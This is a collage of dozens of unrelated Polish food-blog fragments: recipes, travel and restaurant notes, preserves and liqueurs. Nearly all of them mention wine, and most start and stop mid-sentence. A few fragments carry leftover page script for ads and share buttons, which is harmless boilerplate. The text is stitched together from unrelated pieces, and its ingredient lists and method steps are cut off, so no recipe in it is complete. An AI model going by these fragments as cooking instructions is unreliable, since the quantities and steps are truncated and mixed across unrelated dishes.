wyposażona w wanno-prysznic, suszarkę i zestaw kosmetyków, zestaw do parzenia kawy i herbaty, woda mineralna, a nawet indywidualnie sterowana klimatyzacja. W pakiecie romantyczny weekend mieliśmy również butelkę czerwonego wina i dwa kieliszki oraz kupony rabatowe na Termy Maltańskie. Tak więc przed romantyczną kolacją był relaks w Maltańskich Saunach. Obsługa Hotelowa jest bardzo miła, pomocna i uśmiechnięta, co wprowadza

budyniem, wszystko polane limonkowym lukrem i posypane karmelową posypką Delecty. W taki „kryzysowy dzień” świeżo upieczone szarlotki zapakuję w ekologiczny papier, przewiążę satynową wstążeczką, do tego zabiorę jej ulubione wino oraz film. Będziemy się zajadały, rozmawiały i śmiały. Basia z pewnością zapomni o smutkach i złym nastroju, mini szarlotki poprawią jej nastrój w stu procentach. Zapraszam na przepis :). Składniki

masła, wrzucić wcześniej pokrojone warzywa i podsmażać 5 minut, przerzucić do głębokiego garnka. Na patelni ponownie rozgrzać masło z oliwą dodać posiekaną papryczkę oraz czosnek, chwilę podsmażyć, podlać białym winem, podgrzewając cały czas patelnię na małym ogniu. Po tym czasie dodać szklankę zblendowanych pomidorów, a resztą zalać marchewki i pietruszkę. Jedno i drugie dusić pod przykrywką. Pomidory z winem

aromatyczna, po prostu pyszna :) SKŁADNIKI: na zaczyn 20 g świeżych drożdży 150 ml letniej wody 150 g pszennej mąki ciasto właściwe 140 ml letniej wody 40 ml białego wytrawnego wina 60 ml oliwy z oliwek extra vergine 375 g pszennej mąki 1 1/2 łyżeczki soli dodatki kilka pomidorków koktajlowych kilka oliwek kilka kulek mini mozzarelli gałązka świeżego rozmarynu sól

świta, że górale jednak dalej od morza to dajcie śliwowicę. Na Krupówkach dostaniecie herbatę podłego gatunku z dolewką paliwa rakietowego i podłej wiśniówki. Taka mała dygresja – nie pijcie wina grzanego na Krupówkach. Uwierzcie mi i nie pijcie. Wróćmy do naszej góralskiej herbatki. Jest to wynalazek wybitnie rozgrzewający, niektórzy przypisują mu właściwości magiczne oraz znam jedną panią, która po spożyciu

szybko, przekonani? Trochę zabawy jest z rabarbarem ale szybko to idzie i potem pyszne ciasto do kawy, herbaty czy czystka idealne. Ciasto migdałowe z rabarbarem i syropem z czerwonego wina. ROZWIŃ I CZYTAJ DALEJ

wrzenia, zdjąć z gazu dodać żelatynę i dokładnie wymieszać by się rozpuściła. 3.Płyn przelewamy do kieliszków albo foremek jak kto woli, ja skorzystałam z kieliszków na wino i ustawiłam je na ukos. 4.Poczekać aż wystygnie i wsadzić do lodówki najlepiej na całą noc. 5.Maliny miksujemy, dodajemy cukier według wyznania

posmak mąki orkiszowej w połączeniu ze słodkimi figami, serem gorgonzola, prosciutto i rukolą ... Danie na pięć plus, wszystkie składniki łączą się perfekcyjnie, tworząc niemal idealną całość. Do tego lampka wina i cudowna kolacja gotowa... Koniecznie musicie wypróbować ten przepis!  Składniki na ciasto (na 1 tartę lub 6 małych tartaletek): 200 gramów mąki orkiszowej 1 jajko 1/2 kostki masła

dzięki czemu odpadła mi dodatkowa z nimi zabawa. Nie miałam wcześniej z nimi do czynienia dlatego szukałam pomysłu w necie jak je przyrządzić. Mój wybór padł na ośmiorniczki w winie i pomidorach od My fish day. I tak zrobiłam. Danie proste, łatwe, na tyle szybkie, że w ciągu godziny był pyszny obiad. I o dziwo tych kilka sztuk spokojne

Mieszamy codziennie, bo cytryna puści sok i u góry może zebrać się płyn. Aplikujemy po 1-2 łyżki dziennie. Dodajemy do ciepłej (nie gorącej!) herbaty, grzanego piwa, wina, płatków, muesli, solo na kanapki. Cieszymy się jesienią i brakiem Bestii na łożu boleści! Post Jesień pachnąca miodem pojawił się poraz pierwszy w LADY KITCHEN

brakło i jajek, i mleka :) Postanowiłam zatem zrobić wegańską wersję. Aby zastąpić jaja, użyłam nasion chia namoczonych w wodzie, a zamiast maślanki dałam mleko sojowe zakwaszone octem z białego wina. Do polewy czekoladowej również użyłam mleka roślinnego. Wegańskie ciasto cukiniowe posypałam domową granolą z sezamem i pestkami dyni . Wyszło pysznie i zdrowo (nie licząc białej mąki i cukru) :) Jeśli

wygląda imponująco i świetnie smakuje! Jeśli lubisz eksperymenty w kuchni ten przepis jest zdecydowanie dla Ciebie! Focaccia to super pomysł na jesienną, ciepłą i ekonomiczną kolację! Z lampką białego wina propozycja na weekend we włoskim stylu! Zapraszam do przepisu! Składniki: 200 ml soku z buraka 1 łyżka miodu 1 op. suchych drożdży 300 g mąki orkiszowej jasnej + do podsypania

smacznie  Składniki 500 g miąższu melona 250 g sera gouda garść roszponki szklanka malutkich różyczek kalafiora kilka plasterków salami oliwa z oliwek miód musztarda ocet z białego wina sól pieprz 2 łyżki prażonych pestek dyni Przygotowanie Miąższ melona i ser pokroiłem w kostkę. Wymieszałem w salaterce z roszponką, kalafiorem i salami. Z około 4 łyżek oliwy oraz miodu

przeziębienia, wiśniowy do picia, od jakiegoś czasu też koniecznie co roku robi „sok babci Kisi” (czyli sok z sok z dyni i jabłek ) kilka rodzajów ogórków, różne wina, jak są to grzybki. I co roku też eksperymentuje – w tym roku np. postawiła na cukinię i zrobiła kilka rodzajów. Ja w związku z tym nie mam już

czerstwego chleba (bułki lub ciabatty) 300g dojrzałych pomidorów 1 łyżka kaparów 4 filety anchois 2 upieczone papryki 1/2 małej cebuli garść świeżych liści bazylii 1 łyżka octu z czerwonego wina 3 łyżki oliwy sól i pieprz do smaku Sposób przyrządzenia: 1. Chleb opiecz w piekarniku nagrzanym do 150*C ok. 5-7min. 2. Pomidory umyj i pokrój

rozgrzewającą i zaskakującą w smaku kremową zupę cebulową z grzankami i chipsami serowymi. Składniki 2l bulionu drobiowo-warzywnego 8 cebul 5 średnich ziemniaków 2 ząbki czosnku 1/3 szklanki białego wina 1/3 szklanki śmietany 18% 2 łyżki masła goździki, ziele angielskie, liść laurowy, gałka muszkatołowa, imbir, sól i pieprz do […] Artykuł Zupa cebulowa z serowymi chipsami i grzankami pochodzi

suchej patelni zrumień migdały, posyp na sałatkę, na patelnię dodaj oliwę z oliwek, dodaj pokrojoną w kosteczkę ciabattę i zrumień na grzanki, obsyp sałatkę.  Polecam z kieliszkiem czerwonego wina! Smacznego

wtedy czas na gotowanie? Takie fascynujące tematy (a jakże) należy pozostawić na porę konsumpcji. Wtedy tak. Wtedy należy posmarować świeże pieczywo aromatycznym ajvarem, nalać do kieliszka jakieś dobre bałkańskie wino i podumać nad przenikaniem kultur, które przeważnie odbywa się po cichu i z korzyścią dla wszystkich. Dopóki, raz na jakiś czas, w ludzi nie wstąpi szaleństwo. Składniki

inny wydział położony w zupełnie innej części miasta(lub innym mieście). Bez względu na to jak bardzo panie planistki ubarwią życie studenta (tutaj po trzech piwach,drinku i lampce wina wysnuwamy teorię,że panie planistki przechodzą specjalne kursy by umiejętnie skomplikować życie żaka) i jak dany student skomplikuje sobie życie-to student bez jedzenia nie da rady. Jest wtedy

powierzchni) 2.  Ciasto podziel na dwie lub trzy cześci.  3. Weź pierwszą częśc ciasta i rozwałkuj (jeśli masz wałek) yyy rozbutelkuj ( jeśli robisz to butelką po winie czy wodzie mineralnej) na grubość około 2 mm(znaczy się bardzo cienko) 4. Przy pomocy szklanki wykrawaj ciastowe kółka. 5. Na środek każdego wykrojonego kółka połóż łyżeczkę farszu. 6.Sklejamy

inogrona... zwykle jadamy je solo lub w postaci wina, zapominając, że to również świetny dodatek do ciast i deserów i to nie tylko w formie rodzynek, czy jako składnik sałatki owocowej. W moim ogródku mamy małą uprawę winorośli, które ze względu na swoją cierpkość są najlepsze w postaci dżemu. To stało się właśnie inspiracją dla mnie do stworzenia tego

piwie . Przypomniałem sobie o tym, gdy przyszło do robienia zdjęcia (i dlatego, z premedytacją, również ono jest podobne). Widocznie mam już to gdzieś głęboko zakodowane, że dodatek alkoholu (najczęściej wina lub piwa) bardzo korzystnie wpływa na smak i konsystencję długo duszonych mięs. I tak jest w istocie. Dodatek papryki, czyli bohaterki tego tygodnia , również jest ważny - chyba żadne inne

puszkowany. Jeżeli ktoś potrzebuje wskazówek jak należy obrać ananas zapraszam tutaj - - - > Ananas Polecam również inne przepisy na danie z kurczakiem: Kurczak w czosnkowym sosie Kurczak w białym winie Makaron cannelloni nadziewany kurczakiem Kurczak barbecue  Kurczak w miodowym sosie  Naleśniki zapiekane z kurczakiem Kurczak w sosie miodowo musztardowym Szybki sos z kurczakiem Szaszłyki na grilla Kurczak zapiekany

prosta sałatka z figą- więc na czasie- z rukolą, kuleczkami mozzarelli, garścią orzechów włoskich, doprawiona banalnym dressingiem miodowym. Obowiązkowy dodatek stanowi jeszcze grzanka czosnkowa z ulubionego chleba + czerwone wino i pomysł na wyborną kolację jak znalazł! 😊 2 porcje: * rukola- 2x spora garść * mini mozarella- 18 kuleczek * orzechy włoskie- 6 szt. * świeża figa- 3 szt. * grzanki czosnkowe- dodatkowo Dressing: * miód

Strawberry rum smash -  Rum premium biały, świeża mięta i cytryna, świeże truskawki, sok z cytryny, syrop z agawy. Firecracker sangria-  c ynamonowa whiskey, rum kokosowy, wino Moscato, świeży sok z limonki i cytryny, sok ananasowy. Barbados rum punch -  Rum premium , purée z mango, owoców marakui oraz truskawek, świeży sok z limonki i cytryny, 7 Up, Angostura

Trochę dobrej muzyki + Lampka wina + Spokojnie śpiące dziecko = Przyjemny wieczór ;) Krem z pieczonej papryki i pomidorów to ostatnio nasza ulubiona zupa. Robiłam już ją kilka razy i za każdym razem szybko znika z talerzy. M stwierdził, że mógłby takie zupy jeść cały rok. I ja mu przyznam rację. Składniki na 2 porcje: 3 czerwone papryki 2 pomidory 5 ząbków

szczęście, że moim dzieciakom idzie szybko. Wprawdzie podjadają, groszki sypią się na podłogę, ale są obrane i ja nie musiałam tego robić :) Risotto z groszkiem. Trochę oszukane, bo bez wina, ale równie smaczne. Ze świeżym groszkiem smakuje najlepiej. Podałam je z pieczoną piersią indyka. Indyka wcześniej natarłam czerwoną czubrycą i solą. Po 30 minutach w piekarniku mięso było gotowe

każde z nas mówiło w swoim języku. Urzekła mnie ta kobieta i pewnym momencie zamarzyło mi się aby mnie zaadoptowała i mogłabym tam zostać na zawsze.  I wino. To jeżynowe szczególnie, to słodkie i cierpkie i tak mocno bordowe, że nie sposób opisać. Tak delikatne, tak idealne w smaku. Musiałam przywieźć kilka butelek do Polski, nie byłabym sobą

tysiąca wysp – Składniki: 6 czubatych łyżek majonezu (u mnie Winiary) 3 czubate łyżki ketchupu pikantnego (u mnie Madero) 1 łyżeczka octu winnego (u mnie ocet winny z czerwonego wina) 1 łyżeczka cukru szczypta pieprzu chilli cayenne 1 mały ogórek konserwowy (ok. 20g) sól, pieprz do smaku (adsbygoogle = window.adsbygoogle || []).push({}); Sos tysiąca wysp – Wykonanie: Odmierzyć wszystkie składniki. Ogórka

kiedy poranki są już chłodne, a wieczór przychodzi wcześniej niż byśmy tego chcieli. Dopiero co zaczął się wrzesień, a ja już poczułam jesienny klimat, być może to wina mojego kiepskiego nastroju. Ale soczyste, słodkie owoce z delikatną kruszoną zawsze poprawiają samopoczucie. I bez względu na wszystko zawsze się udają. Spróbujcie zrobić na podwieczorek i spałaszujcie w towarzystwie dobrej książki

czasie powinno podwoić swoją objętość. Wrośnięte ciasto rozwałkowujemy na grubość ok. 1 cm, podsypując w razie potrzeby mąką. Wycinamy kółka – najlepiej sprawdził mi się do tego kieliszek do wina o średnicy 6,5 cm. Kółka przekładamy na kwadraty wycięte z papieru do pieczenia, wycinamy w nich mniejsze środki – do tego wykorzystałam metalową tylkę. Dzięki kawałkom papieru

idealne danie na szybką kolację w środku tygodnia – smaczny wędzony łosoś w kremowym kaparowym sosie, czarny świeżo mielony pieprz i tarty parmezan do tego lampka białego wytrawnego wina. Tagliatelle z łososiem i kaparami. Tagliatelle z łososiem Dania Danie główne , Kolacja Kuchnia Włoska Porcje 2 osoby Czas przygotowania 10 minut Czas gotowania 20 mnut Czas oczekiwania 30 minut Składniki

czuję tylko maliny to pozostawiam je w słoiku na jeszcze jeden dzień, ale gdy poczuję zapach fermentacji to zlewam sok natychmiast, żeby w efekcie końcowym zamiast syropu nie otrzymać wina Jeżeli macie gęste sito to korzystacie z sita. Ja zakładam na garnek pieluchę, którą przymocowuję gumką (tą samą pieluchę która przykrywała słoiki). Najpierw wylewam na pieluchę sok, gdy ścieknie

która jest gospodynią Electrolux Taste Center. Zanim zaczęliśmy warsztaty mieliśmy przyjemność spróbować gotowanych szwedzkich raków, ponieważ akurat następnego dnia w Szwecji przypadało Święto Raka. Do tego oczywiście schłodzone białe wino ! W trakcie warsztatów przygotowaliśmy: Kanelbullar, czyli bułeczki cynamonowe z kardamonem Kladdkaka, czyli szybkie ciasto czekoladowe z bitą śmietaną  Toast Skagen, czyli klasyczny sandwich z białego chleba tostowego

łyżki masła 1 cebula czerwona 1 łyżka mąki ziemniaczanej rozrobionej z odrobiną zimnej wody 4 ząbki świeżego czosnku 1 łyżeczka mielonej ostrej pietruszki 4 łyżki octu winnego z czerwonego wina żółty starty ser sól pieprz **************************************  Bulion zagotować.Fasolę z puszki wraz z wodą w której są zmiksować.Dodać do bulionu.Przyprawic papryka , solą,pieprzem ,octem,dodać posiekany czosnek.Wymiesza

dopasuj do swoich wymagań.  Do ryżu dodajemy upieczony kalafior, posypujemy całość odrobiną startego na tarce parmezanu i otartą skórką z cytryny. Risotto polecam podawać z kieliszkiem białego wytrawnego wina! Idealna propozycja na obiad w późnym latem. Smacznego

Moja passata nijak nie przypominała tych ze sklepu, była rzadka jak zupa i przez kilka godzin musiałam ją gotować… Nie wiem, czy to wina przepisu, czy wodnistości pomidorków koktajlowych… Ale koniec końców passata pomidorowa smakuje rewelacyjnie! Jest pikantna i lekko słodkawa, a ja takie połączenia lubię najbardziej! Czas wykonania

Portugalczycy z figi robią pyszny dżem. Idealnie nadaje się jako dodatek do deserów, takich jak lody. Z waniliowymi smakuje wybornie. Niektórzy sugerują, by do dżemu figowego dodać trochę wina porto… stworzymy tym samym dżem dla dorosłych Gilowy Nazwa gila po portugalsku znaczy dynia figolistna. Więc to w sumie też dyniowy dżem, ale zupełnie inny od tego ze zwykłej dyni

buraka, a potem fioletowa marchew zabarwiła kaszę na fioletowo. Chili pozostało przy swoim czerwonym kolorze, tak jak zielone pozostały seler i pietruszka. W innym okresie kaszotto wzbogaciłabym smakiem wina, ale w sierpniu nie spożywam alkoholu, więc inny składnik musiał wyregulować słodki smak podstawowych warzyw. Kaszotto (w zasadzie pęczakotto) przygotowałam w wersji wegańskiej. Mięsożercom polecam dodanie np. kiełbasy, by danie

Każdy kraj na mapie świata ma swoje charakterystyczne potrawy, kulinarne symbole narodowe. Słoneczna Italia kojarzy się z makaronami, królestwem serów, oliwkami, winami, deserami na bazie ricotty i mascarpone. Dla wielu z nas Włochy to pizza. Ciasto tradycyjnie przygotowuje się z mąki pszennej, drożdży, wody oraz odrobiny soli i cukru. Później placek piecze się w piecu opalanym drewnem, w wysokiej

kroku. Zabieram Was więc teraz na krótką podróż paryską po smakach i zapachach tego miasta! Nasz pierwszy posiłek jemy w naszym apartamencie. W drodze z lotniska kupujemy świeżą bagietkę, wino, pasztet z kaczki i sery. Małą ucztą koimy głód po podróży. Pod wieczór wybieramy się na coś dobrego. Kilka razy jedliśmy w sprawdzonych, polecanych w internecie miejscach, lecz

Pfnutli-czyli placki z jabłkami w winnym cieście -tradycyjny szwajcarski deser w oryginale przepis na deserowym winie, ja postanowiłam je zrobić po swojemu i użyłam naszego polskiego cydru jabłkowego, naszych smaków lata czyli jabłek i  dodałam rodzynki,  powiem Wam szczerze podeszłam sceptycznie do tego przepisu nie wiedząc czy to wogóle  będzie zjadliwe:) Efekt przerósł moje najśmielsze

przekrojona na pół i pokrojona na cienkie paseczki, można zastąpić 1/2 łyżeczki chilli w płatkach lub pominąć mały pęczek natki pietruszki 2 łyżki miodu 2 łyżki octu z czerwonego wina 400 g pełnoziarnistego spaghetti opcjonalnie: garstka odsączonych z zalewy kaparów, garść pozbawionych pestek czarnych oliwek do podania: trochę świeżo startego parmezanu Przygotowanie spaghetti peperonata: Na dużej patelni na średnim

Jeżyny również obrodziły w tym roku. Pierwsze już zebrane czekały w lodówce. Nie miałam za bardzo pomysłu co z nimi zrobić. Chociaż nie powiem, najbardziej za nami wino chodzi. Ale to może na kolejną zbiórkę. Tym razem już dłużej z decyzją nie mogłam poczekać i stąd szybka decyzja - robię sok. Sok będzie idealny do wody czy herbaty. Nie lubię

Składniki: 2 małe czerwone cebule 3 duże czerwone pomidory 2 ząbki czosnku 1/2 papryczki chili 1/3 łyżeczki świeżego imbiru 5 łyżek brązowego cukru 50 ml octu balsamicznego bądź czerwonego wina 2 ziarna kardamonu 1/4 łyżeczki słodkiej papryki Pokroić drobno czerwoną cebulę. Dodać do niej drobno krojone czerwone pomidory, przeciśnięty przez praskę czosnek, drobno krojony imbir, krojoną paprykę chili, brązowy

smażę posiekaną drobno cebulę i czosnek. Dodaję pokrojoną w kostkę paprykę oraz startą cukinię. Całość smażę kilka minut i dodaję ryż. Dokładnie mieszam i prażę składniki po czym wlewam wino, które redukuję niemal całkowicie. Wlewam bulion i gotuję w nim ryż do momentu aż będzie al dente, miękki natomiast nie rozgotowany, co potrwa około 20 minut. W tym czasie

muszę przyznać, że te z lukrem cieszyły się dużo większym „wzięciem”. Gorąco polecam i życzę smacznego. Jeśli szukacie tradycyjnego przepisu na faworki/chrusty smażone – polecam poniższe przepisy: Chrusty na winie Faworki robione mikserem Chruściki z ciasta na pierogi Na na blogu znajdziecie bardzo wiele propozycji z wykorzystaniem ciasta francuskiego, nie tylko w wersji na słodko: Makowe ciastka francuskie Chałwowe bułeczki

Składniki: 1 filet z kurczaka 1 szklanka odgotowanych grzybów leśnych, u mnie kurki, podgrzybki, maślaki 1 cebula 200 ml śmietany 30% 1/2 szklanki białego wina czubryca czerwona 1 łyżka natki … Czytaj dalej Kurczak duszony w śmietanie z grzybami

Składniki: 1 filet z kurczaka 100 g świeżego szpinaku 1 cebula 1 puszka białej fasoli ząbek czosnku 4 suszone pomidory 1/2 szklanki białego wina sól, pieprz olej Przygotowanie: Fileta pokroić … Czytaj dalej Potrawka z kurczaka ze szpinakiem

francuskim oraz pasztet z dzika. Przepisy podam później. Było pysznie i ciekawie. Dowiedziałam się m.in jak w warunkach domowych uwędzić mięso i poznałam prosty sposób na pyszne gruszki w winie. W między czasie Kasia i Marcin z Durszlaka, który był partnerem tego wydarzenia, zapoznali nas z historią i planami dalszego rozwoju tego serwisu. Na zakończenie mieliśmy okazję popróbować doskonałe

czekoladowe ciasto z dodatkiem dżemu z czarnej porzeczki, puszystej masy twarogowej i bitej śmietany- czego chcieć więcej o takiej porze roku? chyba tylko filiżanki dobrej kawy, albo lampki ulubionego wina. Pozdrawiam imieninowo Porzeczkowiec Ciasto 3/4 szkl oleju 0,5 szkl wody 1 i 3/4 szkl cukru 3 łyżki kakao 5 jajek 1.5 szkl mąki tortowej 2 łyżeczki proszku

mogło być nieudane. Takich efektów jednak się nie spodziewałam. Obawiałam się nieco o swój starter, ponieważ na początku dość mocno wystartował w górę ale opadł. Myśląc, że to wina mąki przygotowałam drugi nie wyrzucając tego pierwszego. Na całe szczęście! W ten sposób powstały u mnie dwa cudne bochenki chleba hiszpańskiego. Wiem już, że rodzaj mąki nie wpłynął na rozmiar

wszystkim. Spróbujcie, a nie pożałujecie! CZEKOLADOWA PAVLOVA Z WIŚNIAMI BEZA 6 białek 300 g drobnego cukru 50 g gorzkiej czekolady 3 łyżki kakao 1 łyżeczka octu z czerwonego wina KREM 330 ml śmietany 30% 250 g mascarpone FRUŻELINA 450 g mrożonych wiśni 2-3 łyżki cukru 1 łyżka soku z cytryny 1 łyżka mąki ziemniaczanej Białka ubić na sztywną

Doprawiamy curry i solą. 3. Na patelnie do kurczaka i cebuli wsypujemy dwie torebki ryżu. Czekamy chwilkę, aż ryż się zrumieni i podlewamy delikatnie bulionem. ( można użyć odrobiny białego wina) 4. Mieszamy cały czas i dodajemy bulionu w momencie, aż poprzednia porcja będzie wchłonięta przez ryż. Postępujemy tak do momentu, aż ryż będzie al dente. Gotowe:) Hasta Luego

Porzeczki mają wiele różnych zastosowań. Co roku owocują u nas bardzo dobrze, więc robimy z nich dżemy, galaretki i kompoty. Było też wino, więc nie może zabraknąć nalewki. Jest (oczywiście) słodka, ale też ma delikatnie kwaśny posmak charakterystyczny dla porzeczek. Kilkanaście minut roboty i kilka tygodni czekania, ale ta chwila kiedy będziemy mogli w końcu delektować się tą nalewką

Tarta z młodą marchewką i sezamem to pomysł na prosty obiad lub letnią, wykwintną kolację na werandzie, koniecznie z lampką białego wina. Tarta jest dość nietypowa, bo część masła zastąpił biały serek. Jest lżejsza, a ciasto delikatne i chrupiące, w smaku przypominające ciasto francuskie. Przed nałożeniem farszu można ciasto wcześniej podpiec przez około 10-15 minut, choć nie jest

Ciasteczka paprykowo - cebulowe, idealne do piwa lub wina. Sprawdzą się doskonale jako przekąska na imprezce. Z całą pewnością zdrowsze od sklepowych chipsów. Składniki (2 blaszki ciasteczek): 25 g bezzapachowego oleju kokosowego 1 duża cebula (około 140 g) 220 g mąki pszennej (typ 500) 50 g masła 40 g śmietany 12% 1 jajko 1/2 płaskiej łyżeczki proszku do pieczenia

dobre składniki, wysokiej jakości i z pewnego źródła. Gazpacho jest idealnym chłodnikiem na lato, ale jak się okazało może być też dodatkiem do słonych zapiekanek i przekąsek do wina, ja wiem jak to zabrzmiało, ale jak niespodziewanie wieczorem wpadają goście to potrzeba jest matką wynalazków. Mojej dobrej duszy, która zaopatruje mnie w eko pomidorki o które tak się troszczy

kolejne 20minut. Podawać samego z krakersami bądź jako dodatek. Pieczony patison z nadzieniem serowym Smacznego! Pieczony patison z nadzieniem serowym Do nadzienia serowego można też dodać 50 ml białego wina. Share List SGMB_URL = "http://www.mecooks.com/wp-content/plugins/social-media-builder/"; jQuery(".dropdownWrapper").hide(); SGMB_GOOGLE_ACOUNT = ""; jQuery(document).ready(function($){var widget = new SGMBWidget();widget.show({"id":"1","title":"Social share","options":{"currentUrl

Chińczycy i Japończycy mają na to swój sposób – do ryżu, który będzie używany w daniach z woka dodają majonez Kewpie, który od naszego majonezu różni się użyciem octu z wina ryżowego i dodatkiem glutaminianu sodu. W polskich warunkach sprawdzi się każdy lekko słodki majonez, nie mocno kwaśny i nie bardzo przyprawiony. Po przygotowaniu potrawy jego smak jest kompletnie niewyczuwalny

jasne 3 wiśnie Krem wiśniowy: 40 dkg wiśni 1/2 cytryny 4 łyżeczki żelatyny 250 g serka mascarpone 400 ml śmietany kremówki 36 % 3 łyżki cukru trzcinowego poncz: 1/2 szklanki wina białego 1 cytryna pozostałe: 1 słoiczek konfitury z czarnej porzeczki rurki waflowe 300 ml śmietany kremówki 30 % 1 fix do śmietany owoce do dekoracji Galaretki: Galaretkę rozpuszczam w dwóch

będzie to orkiszowa, czy pszenna – ma być jasna, a nie pełnoziarnista. Tak przygotowana focaccia z pomidorami i oliwkami , to świetna sprawa podczas imprez. Pokrójcie na mniejsze kawałki, polejcie wina do kieliszków i spędźcie miło czas ze znajomymi lub ukochaną osobą… Jeśli nie macie z kim, to trudno… upieczcie i zjedzcie całą blachę w samotności. Artykuł Focaccia

trzy tygodnie intensywnego zbierania i przerabiania malin. Moja siostra bierze zwykle wtedy urlop w pracy i pomaga mamie. Zbierają i przerabiają na soki, dżemy i w końcu na wino. To też czas częstych wypadów do ogrodu i zajadania się malinami prosto z krzaczka. Jak co roku wrzucam też kilka zdjęć z tych malinowych wypadów, rok temu Emilka zbierała maliny

twardej greckiej fety garść czarnych oliwek garstka gałązek świeżego oregano (od biedypłaska łyżeczka suszonego, roztartego w palcach) oliwa z oliwek ocet z czerwonego wina do skropienia sól pieprz

produkowaną przez formę TRS i wiele indyjskich przypraw można kupić w sklepie " Kuchnie Świata " Do podania makaron spaghetti  starty na tarce parmezan  a do tego oczywiście włoskie wino - może być nawet... bezalkoholowe :)  Przygotowanie Na dużym ogniu, na 1-2 łyżkach oleju podsmażam mięso do chwili, aż woda odparuje, a wołowina zacznie przybierać brązowy kolor. Na drugiej

smorodinówkę robi się, zalewając owoce spirytusem o mocy 70 % i zasypując cukrem. Moja jest trochę inna, przygotowałam ją na podstawie przepisu z książki Małgorzaty Caprari pt. „Nalewki, likiery i wina domowe”. Smorodinówka nie jest zwyczajną nalewką, ma dużo właściwości leczniczych: stosuje się ją w zaburzeniach trawienia, przy nieżycie górnych dróg oddechowych, podczas przeziębienia i bólu gardła. No i jest

Składniki: 2 policzki wołowe (ok. 1/2 kg) 1 cebula 30 dkg boczniaków Vegeta do mięs obsypka maspolanka 1 łyżka maggi 1 łyżka soku z cytryny mąka 3/4 szklanki białego wina … Czytaj dalej Policzki wołowe z boczniakami

jagodzianki? 99% z Was odpowie pozytywnie. 1 % to Ci, którzy spróbowali jedynie tych sklepowych z dżemem zamiast jagód. FUJ! Powiem Wam, że one są naprawdę proste. Jedynie czasochłonne. To wina ciasta drożdżowego. Każde porządne ciasto drożdżowe wymaga czasu. Nasze jest wspaniałe. Jagodzianki w dobrym, szczelnym zamknięciu (ja przechowuję je w pojemniku na ciasto), są mięciutkie przynajmniej 3 dni. Puszyste

zmielone ziarenka można dodawać do pieczenia chleba (do ciasta oraz jako posypkę na wierzch), do zup, sałatek, kanapek, do bigosu i innych duszonych warzyw, przy wyrobie domowego sera, wina czy przy kiszeniu warzyw. Wspaniale komponuje się w panierce do fety… i nie tylko. Gorąco polecam i życzę smacznego.       Wydrukuj przepis The post Paluszki z fety

ciepło jak i na zimno. Składniki: na dwie porcje 1/2 kg kapusty pekińskiej 1 łyżka oleju sezamowego  1 łyżka oleju sojowego na sos 2 łyżki octu z wina ryżowego  2 łyżki sosu sojowego słodko-pikantny  1/2 łyżeczki sambal oelek 1 łyżka cukru odrobina soli Przygotowanie: kapustę obrać z wierzchnich liści, podzielić na pół i pokroić

moździerzu umieścić te co mamy całości i dokładnie rozdrobnić połączyć wszystkie składniki i dokładnie wymieszać przełożyć do szczelnego słoiczka Można stosować do pierniczków, pierników, kawy, herbaty czy grzanego wina :)  Gdy tylko robię zdjęcia na bloga Misia mi towarzyszy - teraz sama robiąc zdjęcia i zabierając mi ozdoby ;) Na zdrowie i smacznego

gęsty, lekko pikantny i wyrazisty w smaku. W zupełności nie wymaga już żadnych dodatków. Wystarczy go podgrzać, połączyć z makaronem i obficie posypać parmezanem. Do tego lampka dobrego, czerwonego wina i danie w stylu włoskim gotowe. W połączeniu z mieloną wołowiną również smakuje wyśmienicie. Którą wersję wybierzecie? - zdecydujcie sami. Drukuj Czas przygotowania 1 hr Czas gotowania 40 min Czas

najlepsze, tak aby owoce były w całości przykryte. Nie należy zasypywać malin najpierw cukrem i odczekać aż podfermentują, bo tak się robi wino a nie nalewki i nie chcemy żeby owoce zgniły. Słój należy postawić w ciemnym miejscu na okres 7 dni od czasu do czasu potrząsając

problemu zjadłabym jeszcze jeden kawałeczek :). Szczerze uprzedzam! Jeśli komuś ten tort nie wyjdzie lub nie będzie mu smakować, to nie będzie to moja wina, ani tym bardziej przepisu! Tort robiłam aż pięć razy w ciągu ostatniego roku i mimo nieustannych zmian w przepisie zawsze wychodził przepyszny. Tort Rocher robiłam z biszkoptem

jest zdecydowanie łatwiejsze do zrobienia. Do ryżu dorzucam takie warzywa jakie akurat mam czyli to co nawinie mi się pod rękę więc rzeczywiście to tak zwana potrawa "na winie" . Ryżotto robi się szybko. Wystarczy ugotowany ryż, można użyć nawet tego, który został Wam z poprzedniego dnia, pod warunkiem że nie jest rozgotowany. Warzywa w ryżotto powinny pozostać

sojowego 1/4 szklanki wody 2-3 łyżki oleju sezamowego (w ostateczności można zastąpić olejem o neutralnym smaku) 1 lub 2 łyżki stołowe przyprawy mirin (tzw. słodka sake lub japońskie wino do gotowania) pół łyżeczki mielonej ostrej papryki pół łyżeczki mielonej słodkiej papryki pół łyżeczki mielonego czarnego pieprzu Przygotowanie marynaty Wszystkie składniki wymieszać ze sobą. Przygotowanie Mięso wkładam

anchoi, fenkuł, orzeszki pinii, migdały i seler naciowy. Na zimno świetne przystawka, na gorąco z ryżem lub makaronem szybkie danie obiadowe. Tak przygotowanym bakłażanem z ciabatą i szklaneczką czerwonego wina delektują się sycylijczycy. Bigosik bakłażanowy podałam z ryżem i potraktowałam jako szybkie danie obiadowe. Zamiast świeżych pomidorów użyłam tych z puszki. Do bigosu użyłam bardzo poręcznej i praktycznej odmiany

przypominał nam naszą domową mieszankę suszonej zieleninki. Struktura zwarta ale nie stanowiąca dużego oporu pod zębami jest plusem, jednak przecinając go nożem można się trochę namęczyć (chociaż to może wina naszego słabego noża xD). W smaku słodycz miesza się ze słonością… dziwne ale intrygujące. Słodkość rodzynek i śliwek wymieszana z suszoną fasolą urozmaicona pestkami dyni i orzechami brazylijskimi

smaku czymś innym. Głóg – konsystencją i kolorem praktycznie nie różni się od poprzednika. W zapachu czuć jakby bardziej kwaśno-słodkie nuty. Po rozcieńczeniu w smaku bliżej mu do taniego wina (ahh te wspomnienia z późnego gimnazjum i wczesnego liceum xD). Tutaj również można spokojnie go wypić bez obrzydzenia na twarzy. Owoce leśne – kolor i konsystencja właściwie się nie zmienia

minut i gdybym zgniotła go widelcem, poniższy przepis stałby się również pyszną pastą kanapkową. Natomiast jeśli gotowałabym go przez 3 minuty, a następnie na patelni dodała białe wino oraz cytrynę byłoby to wege danie przypominające w smaku mój przepis z  krewetkami   :) Do przygotowania porcji dla 2 osób potrzebujemy: - 0,5 kg świeżego bobu (bób jest bardzo sycący

